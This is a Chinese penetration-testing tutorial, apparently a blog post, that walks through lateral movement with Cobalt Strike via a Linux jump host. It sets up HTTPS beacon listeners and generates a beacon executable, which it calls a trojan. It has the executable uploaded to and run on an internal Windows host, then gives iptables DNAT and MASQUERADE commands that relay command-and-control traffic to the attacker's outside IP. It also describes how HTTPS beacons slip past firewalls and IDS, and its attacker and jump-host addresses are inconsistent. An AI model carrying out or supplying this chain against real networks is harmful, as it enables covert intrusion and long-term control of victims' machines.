目录
[一、Https Beacon](#一、Https Beacon)
[三、Https Beacon内网横向渗透实战](#三、Https Beacon内网横向渗透实战)
本系列讲解内网渗透中跳板机为Linux系统的情况下,通过CobaltStrike生成的https beacon与跳板机建立连接,再基于跳板机进行横向渗透的过程。本系列有两篇文章组成,上一篇讲解CS生成的Linux版本的https beacon与跳板机建立连接的渗透实战过程;本篇讲解基于Linux跳板机,与内网目标主机建立CS连接的渗透实战过程,本篇文章涉及到的主要角色如下所示。
| 角色 | IP地址 | 端口 | 作用 |
|---|---|---|---|
| 攻击机 | 20.1.0.47 |
10088 |
接收跳板机转发的HTTPS Beacon |
| 跳板机(Linux) | 外网ip:10.33.47.100 内网ip:192.168.100.100 |
22222 |
内网监听,转发流量到攻击机 |
| 内网主机(Windows) | 192.168.100.233 |
- | 运行22222.exe连接跳板机的22222端口 |
本文的目标是建立攻击机→跳板机→内网主机的HTTPS C2通道,具体处理流程如下图所示。
-
监听器创建:攻击者在CobaltStrike(20.1.0.47)上创建两个HTTPS监听器(10088端口用于接收,22222端口用于生成Payload)。
-
Payload投递:生成连接跳板机内网IP(192.168.100.100:22222)的HTTPS Beacon(22222.exe),并通过跳板机(10.33.47.100/192.168.100.100)上传至内网主机(192.168.100.233)执行。
-
流量转发:内网主机主动连接跳板机22222端口,跳板机配置iptables策略,并通过iptables将流量转发至攻击机10088端口。
-
C2通道建立:攻击机通过跳板机与内网主机建立HTTPS通信,实现隐蔽控制。
-
持续控制:攻击机发送指令→跳板机转发→内网主机执行并回传数据,维持长期渗透。

sequenceDiagram
participant Attacker as 攻击者<br>20.1.0.47(CobaltStrike)
participant Jumpbox as 跳板机<br>外网ip:10.33.47.100 内网ip:192.168.100.100
participant Internal as 内网主机<br>192.168.100.233
Note over Attacker: 阶段1:准备监听器
Attacker->>Attacker: 创建监听器 10086_https 20.1.0.47:10088
Attacker->>Attacker: 创建监听器 22222_https 192.168.100.10<br>生成HTTPS Beacon: 22222.exe
Note over Attacker: 阶段2:投递Payload
Attacker->>Jumpbox: 上传22222.exe到跳板机
Jumpbox->>Internal: 通过跳板机上传22222.exe到内网主机
Internal->>Internal: 执行22222.exe
Note over Jumpbox: 阶段3:流量转发
Internal->>Jumpbox: 连接请求<br>192.168.100.100:22222 (HTTPS)
Jumpbox->>Attacker: iptables转发到20.1.0.47:10088
Attacker->>Attacker: 接收Beacon连接
Note over Attacker: 阶段4:建立C2通道
Attacker->>Jumpbox: 发送指令<br>20.1.0.47:10088→192.168.100.100:22222
Jumpbox->>Internal: 转发指令到内网主机
Internal->>Jumpbox: 返回数据
Jumpbox->>Attacker: 加密回传<br>192.168.100.100→20.1.0.47:10088
一、Https Beacon
HTTPS Beacon 是 Cobalt Strike 等渗透测试工具中常用的一种 Beacon 类型,在网络攻击与防御中具有重要作用。以下是对它的详细讲解:
- 基本概念:Beacon 是 Cobalt Strike 运行在目标主机上的 payload,中文名为信标,它在隐蔽信道上为攻击者提供服务,用于长期控制受感染主机,HTTPS Beacon 就是基于 HTTPS 协议的 Beacon。
- 工作原理 :
- 建立连接:目标主机上的 HTTPS Beacon 会主动向攻击者设置好的 Listener 发送请求信息,Listener 通常是攻击者控制的服务器上的一个监听端口。
- 任务获取:Beacon 进入睡眠状态,结束睡眠后用 HTTP GET 方式发送一个 metadata,内容包括目标系统的版本、当前用户等信息。如果 C2 服务器存在待执行的任务,则会响应这个 metadata 并发布命令,Beacon 将会收到具体任务内容与一个任务 id。
- 任务执行与回显:Beacon 执行完毕任务后,将回显数据与任务 id 用 POST 方式发送回 C2,然后又会回到睡眠状态,等待下一次任务。
- 优势 :
- 加密传输:HTTPS Beacon 利用 SSL 协议的非对称密钥加密实现数据传输安全,解决了 HTTP Beacon 明文传输的问题,能够有效防止通信内容被窃取和篡改,提高了攻击的隐蔽性和安全性。
- 绕过部分安全检测:由于 HTTPS 是一种常用的安全协议,很多网络安全设备对 HTTPS 流量的检测相对宽松,HTTPS Beacon 可以利用这一点,伪装成正常的 HTTPS 流量,更容易绕过防火墙、入侵检测系统等安全设备的检测,从而实现对目标主机的长期控制。
二、iptables
iptables 是 Linux 系统上一款功能强大的防火墙工具,主要用于管理网络流量,通过制定规则来允许、拒绝或转发数据包。它基于内核中的 netfilter 框架工作,能够对进出服务器的网络数据包进行过滤、修改和转发等操作,是 Linux 系统网络安全的重要保障。
| 类别 | 具体内容 | 说明 |
|---|---|---|
| 核心表(Tables) | filter 表 | 默认表,用于过滤数据包(允许 / 拒绝),包含 INPUT、OUTPUT、FORWARD 链 |
| 核心表(Tables) | nat 表 | 用于网络地址转换(如端口映射、IP 转换),包含 PREROUTING、POSTROUTING、OUTPUT 链 |
| 核心表(Tables) | mangle 表 | 用于修改数据包标记(如 TTL、TOS),包含 5 条链(与 filter 表类似) |
| 核心表(Tables) | raw 表 | 控制数据包是否被跟踪,包含 PREROUTING、OUTPUT 链 |
| 默认链(Chains) | INPUT | 处理进入本机的数据包 |
| 默认链(Chains) | OUTPUT | 处理从本机发出的数据包 |
| 默认链(Chains) | FORWARD | 处理经过本机转发的数据包(需开启 IP 转发) |
| 默认链(Chains) | PREROUTING(nat/mangle/raw 表) | 数据包到达后、路由前处理(用于 DNAT 等) |
| 默认链(Chains) | POSTROUTING(nat/mangle 表) | 数据包路由后、发送前处理(用于 SNAT 等) |
| 常用动作(Targets) | ACCEPT | 允许数据包通过 |
| 常用动作(Targets) | DROP | 丢弃数据包(不返回任何响应) |
| 常用动作(Targets) | REJECT | 拒绝数据包(返回 ICMP 拒绝响应) |
| 常用动作(Targets) | LOG | 将数据包信息记录到系统日志(/var/log/messages 等) |
| 常用动作(Targets) | SNAT(nat 表) | 源地址转换(如修改出口数据包的源 IP) |
| 常用动作(Targets) | DNAT(nat 表) | 目的地址转换(如端口映射) |
| 常用匹配参数 | -p 协议(tcp/udp/icmp 等) | 指定匹配的协议 |
| 常用匹配参数 | --dport 端口号 | 匹配目标端口(如 --dport 80 匹配 80 端口) |
| 常用匹配参数 | --sport 端口号 | 匹配源端口 |
| 常用匹配参数 | -s IP 地址 | 匹配源 IP 地址(如 -s 192.168.1.100) |
| 常用匹配参数 | -d IP 地址 | 匹配目标 IP 地址 |
| 常用匹配参数 | -i 网卡(如 eth0) | 匹配入站数据包的网卡 |
| 常用匹配参数 | -o 网卡(如 eth0) | 匹配出站数据包的网卡 |
| 基础操作命令 | iptables -L [链名] | 查看规则(默认 filter 表) |
| 基础操作命令 | iptables -A 链名 匹配条件 -j 动作 | 添加规则到链的末尾 |
| 基础操作命令 | iptables -I 链名 位置 匹配条件 -j 动作 | 插入规则到指定位置(如 -I INPUT 1 ... 插入到第 1 条) |
| 基础操作命令 | iptables -D 链名 规则序号 | 删除指定链的第 N 条规则 |
| 基础操作命令 | iptables -F [链名] | 清空指定链的规则(不加链名则清空表中所有链) |
| 基础操作命令 | iptables -P 链名 动作(如 DROP) | 设置链的默认策略(未匹配任何规则时执行) |
三、Https Beacon内网横向渗透实战
本文基于由于cs Windows Beacon和Linux Beacon兼容性并不高,此处采用HTTPS Beacon和iptables映射方式。攻击者首先在CobaltStrike(20.1.0.47)创建两个HTTPS监听器(10088端口和22222端口),生成连接跳板机内网IP(192.168.100.100:22222)的Beacon程序22222.exe;通过跳板机(外网10.33.47.100/内网192.168.100.100)将该程序上传至内网主机192.168.100.233并执行,使内网主机主动连接跳板机22222端口;跳板机通过iptables将22222端口的HTTPS流量转发至攻击机10088端口,最终建立攻击机→跳板机→内网主机的HTTPS C2通道,实现隐蔽控制。
| 步骤 | 方向 | 协议/端口 | 说明 |
|---|---|---|---|
| 1 | 攻击机→自身 | - | 创建两个监听器(外部10088/内网22222) 10088端口用于攻击机监听跳板机转发内网流量 22222端口用于生成22222.exe使内网主机连接跳板机 |
| 2 | 攻击机→跳板机→内网主机 | SMB/RDP | 攻击机上传22222.exe到跳板机 通过跳板机二次投递22222.exe到内网主机 |
| 3 | 内网主机→跳板机 | HTTPS:22222 | Beacon(22222.exe)首次回连 |
| 4 | 跳板机→攻击机 | HTTPS:10088 | 跳板机通过配置iptables实现流量转发 |
| 5 | 攻击机↔跳板机↔内网主机 | HTTPS/SMB | 持续C2通信 |
1、https监听1
攻击机创建监听器 10086_https(20.1.0.47:10088),等待跳板机转发流量。
-
IP :
20.1.0.47(攻击机公网/外网IP) -
端口 :
10088 -
类型 :
HTTPS Beacon -
名称 :
10086_https -
作用: 接收从跳板机转发过来的内网流量。

2、https监听2+创建Beacon
攻击机创建内网HTTPS Beacon(用于内网主机连接跳板机),故而监听的ip地址为跳板机的内网ip地址192.168.100.100,端口设置为22222。创建好监听后基于此生成Payload命名为22222.exe。
(1)生成内网监听
攻击机创建监听22222_https是一个 内网定向监听器 ,用于生成指向 跳板机内网IP的HTTPS Beacon Payload。首先在跳板机上查看内网的ip地址,如下所示内网ip地址为192.168.100.100。

接下来创建监听器,名称为22222_https,IP地址为192.168.100.100,端口为22222,具体过程如下所示。

(2)生成Payload
基于 22222_https 监听生成 HTTPS Beacon 可执行文件,命名为 22222.exe。这个木马的功能运行后会主动连接 192.168.100.100:22222(跳板机内网地址)。

点击生成,将https beacon命名为22222.exe保存。

(3)将beacon文件上传到目标内网主机
成功生成22222.exe的https beacon文件后,将木马22222.exe通过跳板机上传至目标内网主机,并运行22222.exe。

3、跳板机配置IPTABLES规则
在将木马22222.exe通过跳板机上传至目标内网主机后运行22222.exe,很明显此时目标主机的木马会连接192.168.26.100这个跳板机的22222端口。这时候在跳板机设置iptables规则,将这种报文DNAT处理并转发到攻击主机中。
1. 需要先开启linux的数据转发功能
vim /etc/sysctl.conf,将net.ipv4.ip_forward=0更改为net.ipv4.ip_forward=1
sysctl -p #使数据转发功能生效
2.systemctl start iptables
3. 更改iptables,使之实现nat映射功能
iptables -I FORWARD -p tcp -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 22222 -j DNAT --to-destination 20.1.0.32:10088 #将linux跳板机的22222端口接受内容转发至20.1.0.32:10088
iptables -t nat -A POSTROUTING -j MASQUERADE
#查看iptables规则
iptables -t nat -nL --line-number
其中第3个步骤iptables -t nat -A PREROUTING -p tcp --dport 22222 -j DNAT --to-destination 20.1.0.32:10088含义如下所示。
-
-t nat:操作 NAT 表 -
-A PREROUTING:在路由决策前应用规则 -
--dport 22222:匹配目标端口 22222 的入站流量 -
-j DNAT:执行目标地址转换 -
--to-destination 20.1.0.32:10088:10088:重定向到攻击主机服务
其中第四条语句iptables -t nat -A POSTROUTING -j MASQUERADE 这条命令实现了 源地址伪装(SNAT) 功能:它将所有经过本机转发的数据包的源IP地址自动替换为本机当前网络接口的IP地址

sequenceDiagram
participant A as 攻击机<br>20.1.0.32:10088
participant J as 跳板机<br>内网IP:192.168.100.100<br>外网IP:10.33.47.100
participant V as 内网主机<br>192.168.100.233
Note over A,V: 阶段1:Payload投递与执行
A->>J: 上传22222.exe到跳板机
J->>V: 投递并执行22222.exe
V->>J: 连接请求<br>src:192.168.100.233<br>dst:192.168.100.100:22222
Note over J: 阶段2:流量伪装转发
J->>J: iptables DNAT转发 dst→20.1.0.32:10088<br>MASQUERADE伪装(源ip替换) src→10.33.47.100
J->>A: 转发流量 src:10.33.47.100 dst:20.1.0.32:10088
Note over A,V: 阶段3:C2通道建立
A->>V: 发送HTTPS指令(通过跳板机中转)
V->>A: 回传数据(加密HTTPS)
4、CS内网目标靶机的22222.exe成功上线
攻击机 (20.1.0.47:10088) ← 跳板机转发 (192.168.100.100:22222) ← 内网主机 (运行22222.exe)
-
内网主机 :运行
22222.exe的受害机器(192.168.100.233)。 -
跳板机 :双网卡设备(内网
192.168.100.100,外网10.33.47.100),负责流量中转。 -
攻击机 :C2服务器(
20.1.0.32:10088),接收伪装后的Beacon连接。